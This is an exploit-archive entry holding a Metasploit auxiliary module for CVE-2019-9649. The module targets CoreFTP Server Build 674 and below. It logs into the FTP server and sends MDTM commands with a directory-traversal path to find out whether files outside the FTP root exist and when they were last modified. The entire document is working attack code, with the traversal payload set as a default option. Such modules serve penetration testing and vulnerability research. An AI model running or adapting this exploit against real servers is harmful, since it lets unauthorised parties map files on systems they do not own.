CoreFTP Server MDTM Directory Traversal

`# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM  
Directory Traversal (Metasploit)  
# Google Dork: N/A  
# Date: 8/21/2019  
# Exploit Author: Kevin Randall  
# Vendor Homepage: https://www.coreftp.com  
# Software Link: http://www.coreftp.com/server/index.html  
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674  
# Tested on: Windows 7 and Windows XP  
# CVE : CVE-2019-9649  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
def proto  
'ftp'  
end  
def initialize  
super(  
'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below  
MDTM Directory Traversal',  
'Description' => %q{An issue was discovered in the SFTP Server  
component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote  
attacker can use a directory traversal (..\..\) to browse outside the root  
directory to determine the existence of a file on the operating system, and  
the last mofidied date.},  
'Author' => [ 'Kevin Randall' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2019-9649' ],  
[ 'BID', '107449' ],  
[ 'URL', '  
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]  
],  
'Disclosure Date:' => 'March 13 2019'  
)  
register_options([  
Opt::RPORT(21),  
OptString.new('FILENAME', [true, "Name of file to search on remote  
server", 'nslookup.exe'] ),  
OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default  
Drive used is C: ", "\\..\\..\\..\\..\\"] ),  
OptString.new('PATHTOFILE', [ true, 'local filepath to the specified  
file. Please add double slashes for escaping', 'Windows\\System32\\'] )  
])  
end  
def run_host(ip)  
print_status("Logging into FTP server now with supplied credentials")  
c = connect_login  
return if not c  
print_status("Performing exploitation of the MDTM command to enumerate  
files")  
path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +  
datastore['FILENAME']  
res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)  
data = res.to_s  
print_status("Performing analysis.... Please wait")  
if (data.include? "213" )  
print_good ("And the circle hits the square!")  
print_good ("File Exists. Here is the last modified date for  
the file:"+ data[4..-1])  
return res  
else  
print_error("Mission Failed We'll get them next time!")  
print_error ("Something went wrong or the file does not exist.  
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape  
double backslash) or verify file extension as it may be incorrect")  
return res  
end  
end  
end  
  
  
`